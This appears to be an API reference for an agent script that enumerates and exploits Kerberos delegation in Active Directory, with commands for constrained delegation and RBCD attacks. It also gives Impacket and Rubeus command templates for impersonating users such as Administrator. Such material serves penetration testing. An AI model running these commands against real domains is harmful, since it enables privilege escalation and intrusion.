<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# exploiting-delegation-vulnerabilities — API Reference

## Agent Script

| Command | Description |
|---------|-------------|
| `enumerate --domain <fqdn> --dc-ip <ip>` | Enumerate all delegation types |
| `exploit-constrained --domain <fqdn> --dc-ip <ip> --user <u> --spn <spn>` | Exploit constrained delegation |
| `exploit-rbcd --domain <fqdn> --dc-ip <ip> --attacker <a> --target <t>` | Exploit RBCD |
| `analyze --domain <fqdn> --dc-ip <ip>` | Analyze delegation results |

## Parameters

| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `--domain` | string | Yes | Target AD domain FQDN |
| `--dc-ip` | string | Yes | Domain controller IP address |
| `--user` | string | Yes (constrained) | Constrained delegation account |
| `--spn` | string | Yes (constrained) | Target SPN |
| `--impersonate` | string | No | User to impersonate (default: Administrator) |
| `--attacker` | string | Yes (rbcd) | Attacker-controlled computer |
| `--target` | string | Yes (rbcd) | RBCD target computer |

## External Tool Reference

| Tool | Command | Purpose |
|------|---------|---------|
| Impacket | `impacket-getST -spn <spn> -impersonate <user>` | S4U2Proxy ticket request |
| Impacket | `impacket-rbcd -delegate-from <src> -delegate-to <dst>` | RBCD configuration |
| Rubeus | `Rubeus.exe s4u /user:<user> /msdsspn:<spn>` | Windows S4U delegation |
